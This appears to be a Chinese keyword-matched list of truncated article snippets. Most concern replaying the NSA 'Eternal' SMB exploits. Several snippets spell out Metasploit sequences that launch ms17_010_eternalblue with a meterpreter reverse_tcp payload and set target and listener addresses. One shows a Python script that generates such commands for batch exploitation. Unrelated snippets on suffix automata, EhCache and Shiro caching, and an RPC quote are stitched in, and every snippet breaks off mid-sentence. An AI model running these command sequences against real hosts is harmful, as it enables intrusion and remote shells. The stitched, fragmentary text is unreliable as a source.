相关内容
NSA Fuzzbunch中EternalRomance工具复现过程
自shadow brokers公布nsa泄露工具后，各路大神陆陆续续发表复现过程，这几天也仔细试了各种套路，一直想弄明白doublepulsar中的shellcode到底是如何用的，刚好又在模拟环境中偶遇windows server 2003，eternalromance貌似只能用shellcode方式植入利用，于是各种试错以后有了这篇文章。 有何不妥处请各路大神指教！...
NSA武器库之Eternalchampion（永恒冠军）复现
在这里我们可以看到，目标系统是32位的，eternalblue和eternalsynergy不支持攻击靶机，eternalromance无法攻击，只有eternalchampion可以。 使用doublepulsar生成shellcodesmbtouch成功之后，我们使用doublepulsar来生成shellcodeuse doublepulsar我们一路回车默认，会发现多出来一个名为outputinstall的选项，选择...
EternalBlue（永恒之蓝）工具漏洞利用细节分析
前言eternalblue（永恒之蓝）据称是方程式组织在其漏洞利用框架中一个针对smb服务进行攻击的模块，由于其涉及漏洞的影响广泛性及利用稳定性，在被公开以后为破坏性巨大的勒索蠕虫 wannacry所用而名噪一时。 360威胁情报中心对于wannacry的活动持续地进行着监控，我们看到的趋势是 wannacry的感染量还在增加...
扫描检测你的局域网中是不是还有EternalBlue漏洞(ETERNAL SCANNER)
概述好久没有写过关于工具的博客了，今天介绍的是eternalblue漏洞扫描工具，支持扫描单个主机和一整个ip段 废话不多说，安装使用体验一下使用首先打开kali虚拟机，当然最好准备一台新安装的windows7虚拟机，window7要打开网络发现和文件共享，也就是要把445端口打开 之后下载工具 git clone https:github...
手把手教你用永恒之蓝（Eternalblue）勒索病毒漏洞的高阶用法
eternalblue 攻击fuzzbunch 的使用方法和 msf 其实差不多。 输入 use eternalblue 载入攻击模块，同样注意多使用 tab 键。 和 msf 不一样，fb 会进行交互性的参数输入：? 如果上面的参数（主要是 ip）没错的话，也可以输入 no 来取消交互式输入。 然后来到这一步，攻击方式一定要选 1 fb 方式：? 然后继续跟着交互...
HDU 6138 Fleet of the Eternal Throne(后缀自动机)
题意题目链接sol真是狗血，被疯狂卡常的原因竟是? 我们考虑暴力枚举每个串的前缀，看他能在(x, y)的后缀自动机中走多少步，对两者取个min即可复杂度(o(t 10^5 m))(好假啊)#includeusing namespace std; const int maxn = 2e5 + 10; int n, m; string s; struct sam { int ch, fa, len, tot, las, root; void init()...
火绒数据：单位局域网成为恶性病毒重灾区 系统漏洞是主要诱因
永恒之蓝（eternalblue）和永恒浪漫（eternalromance），是影子经纪人（shadow broker）组织在2017年5月份释放的两个著名漏洞工具。 截止到目前，仅“永恒之蓝”就导致了超过8成的漏洞攻击，成为“漏洞之王”。 例如去年5月席卷全球的勒索病毒“想哭wannacry”、典型的挖矿病毒“nrsminer”等，都通过该漏洞传播...
如果有人问你 JFinal 如何集成 EhCache，把这篇文章甩给他
简单解释一下常用的配置项，否则大家在配置的时候容易犹豫不决。 1）maxentrieslocalheap：内存中最大缓存对象数2）eternal：true 表示对象永不过期，此时会忽略 timetoidleseconds 和 timetoliveseconds 属性，默认为 false3）timetoidleseconds：对象最近一次被访问后的闲置时间，如果闲置的时间超过了 timetoidle...
Python脚本与Metasploit交互批量产出MS17_010 shell
前言:2017年5月，被称为近10年来影响范围最广泛“最嚣张”的wannacry勒索病毒席卷全球，据统计，全球共有150多个国家超30万台终端被感染，波及政府、学校、医院、金融、航班等各行各业。在神器metasploit中我们利用exploitwindowssmbms17010eternalblue这个模块可以对这个漏洞进行复现,但是在对内网整个网段进行漏洞...
利用 External C2 解决内网服务器无法出网的问题
从图中可以看出，使用 external c2 对我们最基本的要求是：1、编写一个第三方控制器，该控制器可以通过 tcp 连接向 eternalc2 服务器发送数据和从 externalc2服务器接收数据，并且能与第三方客户端进行通信。 2、编写一个第三方客户端，可以启动 beacon，并且能通过命名管道与 beacon 进行交互，还要能与第三方控制器...
浅谈MSF渗透测试
use exploitwindowssmbms17_010_eternalblue 使用永恒之蓝攻击模块set payloadwindowsmeterpreterreverse_tcp 设置一个payload，使攻击机接受来自目标主机的sessionset rhosts 192. 168.205. 150 设置目标主机地址set lhost 192. 168.205. 148 设置接受payload的地址，我们这里设置msf的地址set lport 5555 设置接受...
VxWorks面临严重RCE攻击风险
urgent11被攻击会造成很严重影响，因为它使攻击者能够接管用户设备，甚至可以绕过防火墙和nat等安全设备。 导致攻击者可以将恶意软件传播到网络内部中去。 这种攻击威力极大，类似于eternalblue漏洞，可用于传播wannacry恶意软件。 建议运行vxworks设备的制造商检查公司安全中心发布的wind river securityalert中的...
记一次无线渗透
最后转战kali meterpreter好像已经有了ms17-010的exploit脚本，对meterpreter直接升级，利用ms17_010_eternalblue 直接获得webshell? 在目录中发现了360，可以猜测之前nas工具没有利用成功应该是360起了一定的防护作用，同时也说明了meterpreter有一定程度上的免杀作用。 ? shell获取到了但是不能利用meterpreter模块...
Wiki | Red Team攻击思维
github.comsensepostruler go,通过mapi http或rpc http协议远程与exchange服务器进行交互,通过客户端outlook功能远程获取shellhttps:github.com3gstudentsmbtouch-scanner 扫描内网永恒之蓝eternal445smb系列漏洞https:github.comsmgorelikwindows-rce-exploits windows命令执行rce漏洞poc样本，分为web与文件两种...
内网渗透的一次记录
ip段端口简单检测 使用msf检测ip段ms17010漏洞：use auxiliaryscannersmbsmb_ms17_010 show optionsset rhosts ip段24set threads50run? 192.168.124. 20的445端口开启着（它是我的win7虚拟机）进一步利用useexploitwindowssmbms17_010_eternalblueset rhost 192. 168.124.20run? 最后会获取到会话，这样就完成了一次...
python Metasploit攻击445端口
print found target host:+t targets.append(t) return targets #返回开放445端口的主机列表 defconfickerexploit(configfile,target,lhost):#漏洞利用 configfile.write(use exploitwindowssmbms17_010_eternalblue n)#漏洞利用代码 configfile.write(set payload windowsx64meterpreterreverse_tcpn)configfile...
shiro的Cache机制
仅当eternal=false对象不是永久有效时使用，可选属性，默认值是0，也就是可闲置时间无穷大。 timetoliveseconds：设置对象在失效前允许存活时间（单位：秒）。 最大时间介于创建时间和失效时间之间。 仅当eternal=false对象不是永久有效时使用，默认是0. 也就是对象存活时间无穷大。 overflowtodisk：当内存中对象...
在安卓系统安装运行Metasploit并对windows进行永恒之蓝攻击
这里我就示范一下攻击10. 1.100. 181这台windows，先启动msf，然后执行下面的命令：use exploitwindowssmbms17_010_eternalblueset rhost 10. 1.100. 181set payload windowsx64meterpreterreverse_tcpset lhost 10. 13.175. 191set lport 5555exploit解释一下语句的作用useexploitwindowssmbms17_010_eternalblue...
世界上最著名也最危险的APT恶意软件清单
bad rabbit与notpetya不同，它没有使用eternalblue作为其主要传播机制，并且还包括许多权力的游戏参考。 十八、eternalblue? enternalblue本身可能并不是恶意软件，在这个词的经典含义中，更多的是一种利用，当然，它仍然是由国家开发的，算是符合这份清单。 enternalblue由美国国家安全局创建，并于2017年4月公开...
RPC(六)
每日分享nothing is so fatiguing as the eternal hanging on of an uncompletedtask.没有哪一件事情比藏在心里的一件无法完成的事情更劳累的。 小闫语录：心头积攒的琐事是阻碍你前进的罪魁祸首，尽管有些事、有些人难以释怀更难放下，但是你的心又有谁懂？ 放过自己，成全自己，做更好的自己。? rpcgithub地址...
